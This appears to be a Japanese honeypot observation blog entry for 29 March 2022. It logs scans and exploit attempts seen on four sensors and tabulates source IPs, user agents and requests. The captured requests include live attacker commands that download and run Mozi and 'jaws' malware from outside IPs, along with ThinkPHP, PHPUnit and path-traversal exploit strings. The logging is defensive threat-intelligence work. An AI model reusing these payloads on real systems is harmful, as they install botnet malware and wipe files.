ハニーポット(仮) 観測記録 2022/03/29分です。
特徴
共通
/.envへのスキャン行為
Location:JP
GPONルータの脆弱性を狙うアクセス
Nmap Scripting Engineによるスキャン行為
.cssへのスキャン行為
UserAgentがHello, worldであるアクセス
を確認しました。
/shellに対する以下のアクセスを確認しました。
cd /tmp; rm -rf *; wget http://119.178.197.1:54151/Mozi.a; chmod 777 Mozi.a; /tmp/Mozi.a jaws
Location:US
D-link製品の脆弱性を狙うアクセス
Liferay Portal JSON Web Serviceの脆弱性(CVE-2020-7961)を狙うアクセス
ThinkPHPの脆弱性を狙うアクセス
Anarchy99によるスキャン行為
curlによるスキャン行為
zgrabによるスキャン行為
.cssへのスキャン行為
/.awsへのスキャン行為
/.gitへのスキャン行為
Laravelへのスキャン行為
WordPressへのスキャン行為
phpMyAdminへのスキャン行為
UserAgentがHello, worldであるアクセス
を確認しました。
/shellに対する以下のアクセスを確認しました。
cd /tmp; rm -rf *; wget jswl.jdaili.xyz/jaws; sh /tmp/jaws
cd /tmp; rm -rf *; wget 0.0.0.0/jaws; sh /tmp/jaws
cd /tmp; rm -rf *; wget 110.45.146.209/jaws; sh /tmp/jaws
cd /tmp; rm -rf *; wget 31.210.20.109/jaws; sh /tmp/jaws
Location:UK
Apache HTTP Serverの脆弱性(CVE-2021-41773)を狙うアクセス
Liferay Portal JSON Web Serviceの脆弱性(CVE-2020-7961)を狙うアクセス
PHPUnitの脆弱性(CVE-2017-9841)を狙うアクセス
ThinkPHPの脆弱性を狙うアクセス
zgrabによるスキャン行為
Apache Solrへのスキャン行為
Apache Tomcatへのスキャン行為
Laravelへのスキャン行為
phpMyAdminへのスキャン行為
を確認しました。
Location:SG
Apache HTTP Serverの脆弱性(CVE-2021-41773)を狙うアクセス
D-link製品の脆弱性を狙うアクセス
GPONルータの脆弱性を狙うアクセス
Liferay Portal JSON Web Serviceの脆弱性(CVE-2020-7961)を狙うアクセス
PHPUnitの脆弱性(CVE-2017-9841)を狙うアクセス
ThinkPHPの脆弱性を狙うアクセス
zgrabによるスキャン行為
.cssへのスキャン行為
Apache Solrへのスキャン行為
Laravelへのスキャン行為
UserAgentがHello, Worldであるアクセス
UserAgentがHello, worldであるアクセス
を確認しました。
/shellに対する以下のアクセスを確認しました。
cd /tmp; rm -rf *; wget 0.0.0.0/jaws; sh /tmp/jaws
cd /tmp; rm -rf *; wget http://202.137.216.186:58743/Mozi.a; chmod 777 Mozi.a; /tmp/Mozi.a jaws
他
アクセス数推移
JP:総アクセス数:77 (前日比:-10)
US:総アクセス数:276 (前日比:210)
UK:総アクセス数:46 (前日比:17)
SG:総アクセス数:98 (前日比:35)
都合により GET / HTTP/1.1 POST / HTTP/1.1 は除いています。
Location:JP
送信元IPアドレス一覧
件数 | 送信元IPアドレス | 国 |
---|---|---|
2 | 13.92.21.79 | United States |
1 | 46.101.7.222 | United States |
5 | 47.91.25.72 | United States |
1 | 52.173.239.132 | United States |
1 | 64.66.9.81 | Bahamas |
1 | 64.227.128.126 | United States |
15 | 95.214.235.205 | Ukraine |
1 | 103.162.30.101 | Vietnam |
1 | 109.237.103.9 | Russia |
2 | 109.237.103.38 | Russia |
1 | 119.178.197.1 | China |
1 | 134.122.3.160 | United States |
8 | 135.125.244.48 | France |
8 | 135.125.246.110 | France |
1 | 137.184.238.43 | United States |
1 | 139.59.26.250 | Singapore |
1 | 142.93.194.204 | United States |
4 | 157.245.70.127 | United States |
1 | 159.223.139.250 | United States |
1 | 159.223.180.164 | United States |
1 | 161.35.213.94 | United States |
1 | 164.90.135.111 | United States |
1 | 167.71.98.179 | United States |
1 | 179.219.106.238 | Brazil |
8 | 185.254.196.217 | Ukraine |
1 | 192.241.222.154 | United States |
1 | 205.185.113.102 | United States |
1 | 205.185.123.167 | United States |
2 | 205.185.126.177 | United States |
1 | 209.141.44.145 | United States |
1 | 209.141.44.150 | United States |
1 | 209.141.59.139 | United States |
UserAgent一覧
件数 | UserAgent |
---|---|
9 | - |
1 | Hello, world |
2 | Mozila/5.0 |
1 | Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; en-us) AppleWebKit/531.22.7 (KHTML, like Gecko) Version/4.0.5 Safari/531.22.7 |
1 | Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3 |
1 | Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/125.4 (KHTML, like Gecko) Safari/125.9 |
1 | Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36 |
1 | Mozilla/5.0 (Windows NT 10.0; Win64; x64) Gecko/20100101 Firefox/71.0 |
1 | Mozilla/5.0 (Windows NT 5.1; rv:45.0) Gecko/20100101 Firefox/45.0 |
52 | Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36 |
1 | Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.9.2.15) Gecko/20110303 Ubuntu/10.04 (lucid) Firefox/3.6.15 |
1 | Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0) |
4 | Mozilla/5.0 (compatible; Nmap Scripting Engine; https[:]//nmap[.]org/book/nse.html) |
1 | Mozilla/5.0 (iPhone; CPU iPhone OS 12_0_1 like Mac OS X) AppleWebKit/604.1.34 (KHTML, like Gecko) GSA/60.0.215960477 Mobile/16A404 Safari/604.1 |
リクエスト内容一覧
件数 | Method | Request | Protocol |
---|---|---|---|
1 | MGLNDD_18.179.20.5_80\n |
||
1 | \x16\x03\x01\x01C\x01 |
||
2 | \x16\x03\x01\x01\xfa\x01 |
||
1 | \x16\x03\x01\x02 |
||
52 | GET | /.env |
HTTP/1.1 |
1 | GET | /HNAP1 |
HTTP/1.1 |
1 | GET | /PSIA/index |
HTTP/1.1 |
2 | GET | /ab2g |
HTTP/1.1 |
2 | GET | /ab2h |
HTTP/1.1 |
3 | GET | /assets/css/pc/style.css?v=v3.1 |
HTTP/1.1 |
1 | GET | /evox/about |
HTTP/1.1 |
1 | GET | /live/roominfos?roomId=13524 |
HTTP/1.1 |
1 | GET | /nmaplowercheck1648453430 |
HTTP/1.1 |
1 | GET | /shell?cd+/tmp;rm+-rf+*;wget+http[:]//119[.]178[.]197[.]1:54151/Mozi.a;chmod+777+Mozi[.]a;/tmp/Mozi.a+jaws |
HTTP/1.1 |
3 | GET | /template/index2/assets/css/index720.css |
HTTP/1.1 |
1 | POST | /boaform/admin/formLogin |
HTTP/1.1 |
2 | POST | /editBlackAndWhiteList |
HTTP/1.1 |
1 | POST | /sdk |
HTTP/1.1 |
Location:US
送信元IPアドレス一覧
件数 | 送信元IPアドレス | 国 |
---|---|---|
1 | 20.223.159.160 | United States |
40 | 34.205.131.14 | United States |
7 | 35.86.203.59 | United States |
1 | 45.33.8.47 | United States |
18 | 45.95.169.199 | Croatia |
6 | 45.155.204.146 | Russia |
2 | 45.227.254.52 | Belize |
1 | 47.94.164.39 | China |
1 | 52.173.239.132 | United States |
1 | 54.201.33.215 | United States |
1 | 58.122.220.141 | South Korea |
101 | 79.212.27.6 | Germany |
15 | 103.133.107.210 | Vietnam |
52 | 109.74.204.123 | United States |
1 | 109.237.103.9 | Russia |
2 | 109.237.103.38 | Russia |
1 | 114.236.230.85 | China |
1 | 134.122.3.160 | United States |
2 | 157.245.70.127 | United States |
1 | 159.223.139.250 | United States |
1 | 162.142.125.7 | United States |
1 | 162.142.125.220 | United States |
1 | 164.90.135.111 | United States |
1 | 171.241.68.43 | Vietnam |
8 | 185.254.196.223 | Ukraine |
1 | 192.241.214.52 | United States |
1 | 192.241.223.185 | United States |
1 | 197.55.96.115 | Egypt |
1 | 205.185.123.167 | United States |
1 | 209.141.43.116 | United States |
2 | 209.141.44.145 | United States |
1 | 209.141.59.139 | United States |
1 | 211.245.46.208 | South Korea |
UserAgent一覧
件数 | UserAgent |
---|---|
11 | - |
1 | Anarchy99 |
4 | Hello, world |
1 | Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:48.0) Gecko/20100101 Firefox/48.0 |
101 | Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36 |
21 | Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36 |
17 | Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4240.193 Safari/537.36 |
7 | Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36 |
40 | Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0 |
1 | Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.142 Safari/537.36 |
16 | Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36 |
1 | Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0 |
1 | Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:34.0) Gecko/20100101 Firefox/34.0 |
1 | Mozilla/5.0 (iPad; CPU OS 6_1_3 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10B329 Safari/8536.25 |
1 | Mozilla/5.0 (iPhone; CPU iPhone OS 8_1_2 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12B440 Safari/600.1.4 |
1 | Mozilla/5.0 zgrab/0.x |
51 | curl/7.54.0 |
リクエスト内容一覧
件数 | Method | Request | Protocol |
---|---|---|---|
1 | MGLNDD_34.68.118.83_80\n |
||
2 | \x03 |
||
1 | \x16\x03\x01\x01C\x01 |
||
1 | \x16\x03\x01\x02 |
||
1 | GET | /.aws/credentials |
HTTP/1.1 |
1 | GET | /.env.bak |
HTTP/1.1 |
18 | GET | /.env |
HTTP/1.1 |
1 | GET | /.git/HEAD |
HTTP/1.1 |
1 | GET | /2018/wp-includes/wlwmanifest.xml |
HTTP/1.1 |
2 | GET | /2019/wp-includes/wlwmanifest.xml |
HTTP/1.1 |
1 | GET | /2020/wp-includes/wlwmanifest.xml |
HTTP/1.1 |
1 | GET | /?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000 |
HTTP/1.1 |
1 | GET | /?=PHPE9568F36-D428-11d2-A769-00AA001ACF42 |
HTTP/1.1 |
1 | GET | /?XDEBUG_SESSION_START=phpstorm |
HTTP/1.1 |
1 | GET | /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> |
HTTP/1.1 |
1 | GET | /CSS/Miniweb.css |
HTTP/1.1 |
1 | GET | /HNAP1 |
HTTP/1.1 |
1 | GET | /N3ol |
HTTP/1.1 |
1 | GET | /Portal/Portal.mwsl |
HTTP/1.1 |
1 | GET | /Portal0000.htm |
HTTP/1.1 |
1 | GET | /__Additional |
HTTP/1.1 |
1 | GET | /_ignition/execute-solution |
HTTP/1.1 |
1 | GET | /_profiler/phpinfo |
HTTP/1.1 |
1 | GET | /ab2g |
HTTP/1.1 |
1 | GET | /ab2h |
HTTP/1.1 |
1 | GET | /admin.asp |
HTTP/1.1 |
1 | GET | /admin.cfm |
HTTP/1.1 |
1 | GET | /admin.cgi |
HTTP/1.1 |
1 | GET | /admin.html |
HTTP/1.1 |
1 | GET | /admin.jhtml |
HTTP/1.1 |
1 | GET | /admin.jsa |
HTTP/1.1 |
1 | GET | /admin.jsp |
HTTP/1.1 |
1 | GET | /admin.php |
HTTP/1.1 |
1 | GET | /admin.pl |
HTTP/1.1 |
1 | GET | /admin.shtml |
HTTP/1.1 |
1 | GET | /admin/.env |
HTTP/1.1 |
1 | GET | /api/.env |
HTTP/1.1 |
1 | GET | /app/.env |
HTTP/1.1 |
1 | GET | /application/.env |
HTTP/1.1 |
1 | GET | /apps/.env |
HTTP/1.1 |
2 | GET | /assets/css/pc/style.css?v=v3.1 |
HTTP/1.1 |
1 | GET | /auth/.env |
HTTP/1.1 |
1 | GET | /back/.env |
HTTP/1.1 |
1 | GET | /backend/.env |
HTTP/1.1 |
1 | GET | /base.pl |
HTTP/1.1 |
1 | GET | /base.shtml |
HTTP/1.1 |
2 | GET | /blog/wp-includes/wlwmanifest.xml |
HTTP/1.1 |
1 | GET | /cli/.env |
HTTP/1.1 |
2 | GET | /cms/wp-includes/wlwmanifest.xml |
HTTP/1.1 |
1 | GET | /config/.env |
HTTP/1.1 |
1 | GET | /config/aws.yml |
HTTP/1.1 |
1 | GET | /console/ |
HTTP/1.1 |
1 | GET | /core/.env |
HTTP/1.1 |
1 | GET | /cp/.env |
HTTP/1.1 |
1 | GET | /default.cfm |
HTTP/1.1 |
1 | GET | /default.jhtml |
HTTP/1.1 |
1 | GET | /default.pl |
HTTP/1.1 |
1 | GET | /dependencies/.env |
HTTP/1.1 |
1 | GET | /deployment/.env |
HTTP/1.1 |
1 | GET | /dev/.env |
HTTP/1.1 |
1 | GET | /development/.env |
HTTP/1.1 |
1 | GET | /docker/.env |
HTTP/1.1 |
1 | GET | /docs/cplugError.html/ |
HTTP/1.1 |
1 | GET | /document/.env |
HTTP/1.1 |
1 | GET | /engine/.env |
HTTP/1.1 |
1 | GET | /favicon.ico |
HTTP/1.1 |
1 | GET | /framework/.env |
HTTP/1.1 |
1 | GET | /frontend/.env |
HTTP/1.1 |
1 | GET | /home.jsp |
HTTP/1.1 |
1 | GET | /home.pl |
HTTP/1.1 |
1 | GET | /index.aspx |
HTTP/1.1 |
1 | GET | /index.cfm |
HTTP/1.1 |
1 | GET | /index.jhtml |
HTTP/1.1 |
1 | GET | /index.jsa |
HTTP/1.1 |
1 | GET | /index.jsp |
HTTP/1.1 |
1 | GET | /index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP21 |
HTTP/1.1 |
1 | GET | /index.pl |
HTTP/1.1 |
1 | GET | /indice.asp |
HTTP/1.1 |
1 | GET | /indice.aspx |
HTTP/1.1 |
1 | GET | /info.php |
HTTP/1.1 |
1 | GET | /inicio.php |
HTTP/1.1 |
1 | GET | /laravel-artisa/.env |
HTTP/1.1 |
1 | GET | /laravel/.env |
HTTP/1.1 |
1 | GET | /live/roominfos?roomId=13524 |
HTTP/1.1 |
1 | GET | /local/.env |
HTTP/1.1 |
1 | GET | /localstart.cgi |
HTTP/1.1 |
1 | GET | /localstart.php |
HTTP/1.1 |
1 | GET | /localstart.shtml |
HTTP/1.1 |
1 | GET | /login/.env |
HTTP/1.1 |
1 | GET | /main.html |
HTTP/1.1 |
1 | GET | /manager/text/list |
HTTP/1.1 |
1 | GET | /master/.env |
HTTP/1.1 |
1 | GET | /media/wp-includes/wlwmanifest.xml |
HTTP/1.1 |
2 | GET | /news/wp-includes/wlwmanifest.xml |
HTTP/1.1 |
1 | GET | /nmaplowercheck1648481590 |
HTTP/1.1 |
1 | GET | /personal/.env |
HTTP/1.1 |
1 | GET | /phpinfo.php |
HTTP/1.1 |
1 | GET | /phpinfo |
HTTP/1.1 |
101 | GET | /phpmyadmin/ |
HTTP/1.1 |
1 | GET | /pools/default/buckets |
HTTP/1.1 |
1 | GET | /pools |
HTTP/1.1 |
1 | GET | /private/.env |
HTTP/1.1 |
1 | GET | /project/.env |
HTTP/1.1 |
1 | GET | /protected/.env |
HTTP/1.1 |
1 | GET | /rest/.env |
HTTP/1.1 |
1 | GET | /robots.txt |
HTTP/1.1 |
1 | GET | /search/.env |
HTTP/1.1 |
1 | GET | /server-status |
HTTP/1.1 |
1 | GET | /server/.env |
HTTP/1.1 |
1 | GET | /shared/.env |
HTTP/1.1 |
1 | GET | /shell?cd+/tmp;rm+-rf+*;wget+ jswl.jdaili.xyz/jaws;sh+/tmp/jaws |
|
1 | GET | /shell?cd+/tmp;rm+-rf+*;wget+0[.]0[.]0[.]0/jaws;sh+/tmp/jaws |
HTTP/1.1 |
2 | GET | /shell?cd+/tmp;rm+-rf+*;wget+110[.]45[.]146[.]209/jaws;sh+/tmp/jaws |
HTTP/1.1 |
1 | GET | /shell?cd+/tmp;rm+-rf+*;wget+31[.]210[.]20[.]109/jaws;sh+/tmp/jaws |
HTTP/1.1 |
2 | GET | /shop/wp-includes/wlwmanifest.xml |
HTTP/1.1 |
1 | GET | /site/.env |
HTTP/1.1 |
1 | GET | /site/wp-includes/wlwmanifest.xml |
HTTP/1.1 |
2 | GET | /sito/wp-includes/wlwmanifest.xml |
HTTP/1.1 |
1 | GET | /src/.env |
HTTP/1.1 |
1 | GET | /start.aspx |
HTTP/1.1 |
1 | GET | /start.html |
HTTP/1.1 |
1 | GET | /system/.env |
HTTP/1.1 |
2 | GET | /template/index2/assets/css/index720.css |
HTTP/1.1 |
2 | GET | /test/wp-includes/wlwmanifest.xml |
HTTP/1.1 |
1 | GET | /vod_installer/.env |
HTTP/1.1 |
1 | GET | /vue/.env |
HTTP/1.1 |
1 | GET | /web/.env |
HTTP/1.1 |
2 | GET | /web/wp-includes/wlwmanifest.xml |
HTTP/1.1 |
1 | GET | /website/wp-includes/wlwmanifest.xml |
HTTP/1.1 |
2 | GET | /wordpress/wp-includes/wlwmanifest.xml |
HTTP/1.1 |
2 | GET | /wp-includes/wlwmanifest.xml |
HTTP/1.1 |
2 | GET | /wp/wp-includes/wlwmanifest.xml |
HTTP/1.1 |
1 | GET | /wp1/wp-includes/wlwmanifest.xml |
HTTP/1.1 |
2 | GET | /wp2/wp-includes/wlwmanifest.xml |
HTTP/1.1 |
2 | GET | /xmlrpc.php?rsd |
HTTP/1.1 |
1 | HEAD | / |
HTTP/1.1 |
1 | POST | /Autodiscover/Autodiscover.xml |
HTTP/1.1 |
1 | POST | /HNAP1/ |
HTTP/1.0 |
1 | POST | /scripts/WPnBr.dll |
HTTP/1.1 |
1 | POST | /sdk |
HTTP/1.1 |
2 | PRI | * |
HTTP/2.0 |
Location:UK
送信元IPアドレス一覧
件数 | 送信元IPアドレス | 国 |
---|---|---|
1 | 5.62.41.174 | United Kingdom |
1 | 20.110.176.213 | United States |
1 | 20.114.125.148 | United States |
1 | 24.218.21.243 | United States |
8 | 45.155.204.146 | Russia |
1 | 68.66.164.26 | United States |
1 | 109.237.103.9 | Russia |
2 | 109.237.103.38 | Russia |
3 | 156.251.17.238 | United States |
2 | 157.245.70.127 | United States |
1 | 159.203.47.62 | United States |
1 | 167.94.145.58 | United States |
4 | 172.105.85.90 | United States |
4 | 185.142.236.40 | Seychelles |
9 | 185.172.110.211 | Australia |
1 | 185.254.75.32 | Germany |
1 | 192.241.224.64 | United States |
1 | 192.241.225.195 | United States |
2 | 194.165.16.71 | Panama |
1 | 209.17.96.82 | United States |
UserAgent一覧
件数 | UserAgent |
---|---|
22 | - |
1 | Java/1.8.0_321 |
1 | Mozila/5.0 |
1 | Mozilla/5.0 (Linux; U; Android 4.4.2; en-US; HM NOTE 1W Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 UCBrowser/11.0.5.850 U3/0.8.0 Mobile Safari/534.30 |
1 | Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:80.0) Gecko/20100101 Firefox/80.0 |
3 | Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3464.0 Safari/537.36 |
8 | Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36 |
1 | Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 |
3 | Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36 |
1 | Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9a3pre) Gecko/20070330 |
1 | Mozilla/5.0 zgrab/0.x |
3 | \"Mozilla/5.0 |
リクエスト内容一覧
件数 | Method | Request | Protocol |
---|---|---|---|
1 | MGLNDD_132.145.66.34_80\n |
||
2 | \x03 |
||
1 | \x16\x03\x01\x01C\x01 |
||
1 | \x16\x03\x01\x01\xfc\x01 |
||
1 | \x16\x03\x01 |
||
1 | CONNECT | ver[.]movistarplus[.]es:443 |
HTTP/1.1 |
4 | GET | /.env |
HTTP/1.1 |
1 | GET | /.well-known/security.txt |
HTTP/1.1 |
1 | GET | //PMA/scripts/setup.php |
HTTP/1.1 |
1 | GET | //admin/scripts/setup.php |
HTTP/1.1 |
1 | GET | //dbadmin/scripts/setup.php |
HTTP/1.1 |
1 | GET | //mysql/scripts/setup.php |
HTTP/1.1 |
1 | GET | //phpMyAdmin/scripts/setup.php |
HTTP/1.1 |
1 | GET | //phpmyadmin/scripts/setup.php |
HTTP/1.1 |
1 | GET | //pma/scripts/setup.php |
HTTP/1.1 |
1 | GET | //webdav/wickd.php |
HTTP/1.1 |
1 | GET | /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> |
HTTP/1.1 |
1 | GET | /HNAP1 |
HTTP/1.1 |
1 | GET | /_ignition/execute-solution |
HTTP/1.1 |
1 | GET | /ab2g |
HTTP/1.1 |
1 | GET | /ab2h |
HTTP/1.1 |
1 | GET | /evox/about |
HTTP/1.1 |
2 | GET | /favicon.ico |
HTTP/1.1 |
1 | GET | /index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP21 |
HTTP/1.1 |
1 | GET | /manager/html |
HTTP/1.1 |
1 | GET | /muieblackcat |
HTTP/1.1 |
1 | GET | /nmaplowercheck1648436658 |
HTTP/1.1 |
1 | GET | /phpmyadmin/index.php |
HTTP/1.1 |
1 | GET | /phpmyadmin4.8.5/index.php |
HTTP/1.1 |
1 | GET | /pmd/index.php |
HTTP/1.1 |
1 | GET | /robots.txt |
HTTP/1.1 |
1 | GET | /sitemap.xml |
HTTP/1.1 |
1 | GET | /solr/admin/info/system?wt=json |
HTTP/1.1 |
1 | GET | /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php |
HTTP/1.1 |
1 | HEAD | / |
HTTP/1.1 |
1 | HEAD | /robots.txt |
HTTP/1.0 |
1 | POST | /Autodiscover/Autodiscover.xml |
HTTP/1.1 |
1 | POST | /cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh |
HTTP/1.1 |
1 | POST | /editBlackAndWhiteList |
HTTP/1.1 |
1 | POST | /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php |
HTTP/1.1 |
1 | PRI | * |
HTTP/2.0 |
Location:SG
送信元IPアドレス一覧
件数 | 送信元IPアドレス | 国 |
---|---|---|
1 | 13.78.132.0 | United States |
1 | 13.94.67.216 | United States |
1 | 20.55.53.144 | United States |
40 | 34.205.131.14 | United States |
1 | 35.196.32.62 | United States |
10 | 45.155.204.146 | Russia |
1 | 54.201.252.206 | United States |
1 | 87.7.44.171 | Italy |
2 | 94.232.43.33 | Russia |
1 | 101.200.134.221 | China |
1 | 103.40.197.193 | India |
1 | 103.162.30.101 | Vietnam |
1 | 109.237.103.9 | Russia |
2 | 109.237.103.38 | Russia |
1 | 117.198.172.75 | India |
1 | 155.94.145.168 | United States |
2 | 157.230.216.203 | United States |
1 | 157.245.149.85 | United States |
1 | 159.223.130.128 | United States |
1 | 162.142.125.8 | United States |
2 | 164.90.135.111 | United States |
1 | 172.245.189.33 | United States |
8 | 185.254.196.223 | Ukraine |
1 | 192.241.224.198 | United States |
1 | 192.241.226.4 | United States |
4 | 198.20.87.98 | United States |
2 | 199.34.18.238 | United States |
1 | 202.137.216.186 | India |
1 | 205.185.113.102 | United States |
1 | 205.185.123.167 | United States |
2 | 205.185.126.177 | United States |
1 | 209.17.96.50 | United States |
1 | 209.141.56.25 | United States |
1 | 223.130.30.202 | India |
UserAgent一覧
件数 | UserAgent |
---|---|
16 | - |
1 | Go-http-client/1.1 |
1 | Hello, World |
2 | Hello, world |
1 | Mozila/5.0 |
1 | Mozilla/5.0 (Linux; U; Android 4.4.2; en-US; HM NOTE 1W Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 UCBrowser/11.0.5.850 U3/0.8.0 Mobile Safari/534.30 |
1 | Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:80.0) Gecko/20100101 Firefox/80.0 |
10 | Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36 |
1 | Mozilla/5.0 (Windows NT 10.0; Win64; x64) Gecko/20100101 Firefox/71.0 |
40 | Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0 |
1 | Mozilla/5.0 (X11; Linux i686) AppleWebKit/534.30 (KHTML, like Gecko) Ubuntu/11.04 Chromium/12.0.742.112 Chrome/12.0.742.112 Safari/534.30 |
18 | Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36 |
1 | Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.9.2.16) Gecko/20110323 Ubuntu/10.04 (lucid) Firefox/3.6.16 |
1 | Mozilla/5.0 (iPad; CPU OS 10_2_1 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) GSA/23.0.147401934 Mobile/14D27 Safari/600.1.4 |
1 | Mozilla/5.0 (iPad; CPU OS 6_0_1 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Mobile/10A523 |
1 | Mozilla/5.0 (iPad; CPU OS 8_3 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) GSA/5.2.43972 Mobile/12F69 Safari/600.1.4 |
1 | Mozilla/5.0 zgrab/0.x |
リクエスト内容一覧
件数 | Method | Request | Protocol |
---|---|---|---|
1 | - |
||
1 | MGLNDD_13.67.44.234_80 |
||
2 | \x03 |
||
1 | \x16\x03\x01\x01C\x01 |
||
1 | \x16\x03\x01\x01\xfb\x01 |
||
1 | \x16\x03\x01 |
||
19 | GET | /.env |
HTTP/1.1 |
1 | GET | /.well-known/security.txt |
HTTP/1.1 |
1 | GET | //board[.]cgi?cmd=cd%20%2Ftmp%20rm%20-rf%200day-0%3B%20wget%20http%3A%2F%2F31[.]210[.]20[.]190%2F0day-0%3B%20chmod%20777%200day-0%3B%20sh%200day-0%3B%20rm%20-rf%200day-0%3B%20curl%20-O%20http%3A%2F%2F31[.]210[.]20[.]190%2F0day-0%3B%20chmod%20777%200day-0%3B%20sh%3B%20rm%20-rf%200day-0 |
HTTP/1.1 |
1 | GET | /?XDEBUG_SESSION_START=phpstorm |
HTTP/1.1 |
1 | GET | /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> |
HTTP/1.1 |
1 | GET | /_ignition/execute-solution |
HTTP/1.1 |
1 | GET | /ab2g |
HTTP/1.1 |
1 | GET | /ab2h |
HTTP/1.1 |
1 | GET | /admin/.env |
HTTP/1.1 |
1 | GET | /api/.env |
HTTP/1.1 |
1 | GET | /app/.env |
HTTP/1.1 |
1 | GET | /application/.env |
HTTP/1.1 |
1 | GET | /apps/.env |
HTTP/1.1 |
2 | GET | /assets/css/pc/style.css?v=v3.1 |
HTTP/1.1 |
1 | GET | /auth/.env |
HTTP/1.1 |
1 | GET | /back/.env |
HTTP/1.1 |
1 | GET | /backend/.env |
HTTP/1.1 |
1 | GET | /boaform/admin/formLogin?username=user&psd=user |
HTTP/1.0 |
1 | GET | /cli/.env |
HTTP/1.1 |
1 | GET | /config/.env |
HTTP/1.1 |
1 | GET | /console/ |
HTTP/1.1 |
1 | GET | /core/.env |
HTTP/1.1 |
1 | GET | /cp/.env |
HTTP/1.1 |
1 | GET | /dependencies/.env |
HTTP/1.1 |
1 | GET | /deployment/.env |
HTTP/1.1 |
1 | GET | /dev/.env |
HTTP/1.1 |
1 | GET | /development/.env |
HTTP/1.1 |
1 | GET | /docker/.env |
HTTP/1.1 |
1 | GET | /document/.env |
HTTP/1.1 |
1 | GET | /engine/.env |
HTTP/1.1 |
1 | GET | /favicon.ico |
HTTP/1.1 |
1 | GET | /framework/.env |
HTTP/1.1 |
1 | GET | /frontend/.env |
HTTP/1.1 |
1 | GET | /index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP21 |
HTTP/1.1 |
1 | GET | /laravel-artisa/.env |
HTTP/1.1 |
1 | GET | /laravel/.env |
HTTP/1.1 |
1 | GET | /live/roominfos?roomId=13524 |
HTTP/1.1 |
1 | GET | /local/.env |
HTTP/1.1 |
1 | GET | /login/.env |
HTTP/1.1 |
1 | GET | /manager/text/list |
HTTP/1.1 |
1 | GET | /master/.env |
HTTP/1.1 |
1 | GET | /personal/.env |
HTTP/1.1 |
1 | GET | /private/.env |
HTTP/1.1 |
1 | GET | /project/.env |
HTTP/1.1 |
1 | GET | /protected/.env |
HTTP/1.1 |
1 | GET | /rest/.env |
HTTP/1.1 |
1 | GET | /robots.txt |
HTTP/1.1 |
1 | GET | /search/.env |
HTTP/1.1 |
1 | GET | /server/.env |
HTTP/1.1 |
1 | GET | /shared/.env |
HTTP/1.1 |
1 | GET | /shell?cd+/tmp;rm+-rf+*;wget+0[.]0[.]0[.]0/jaws;sh+/tmp/jaws |
HTTP/1.1 |
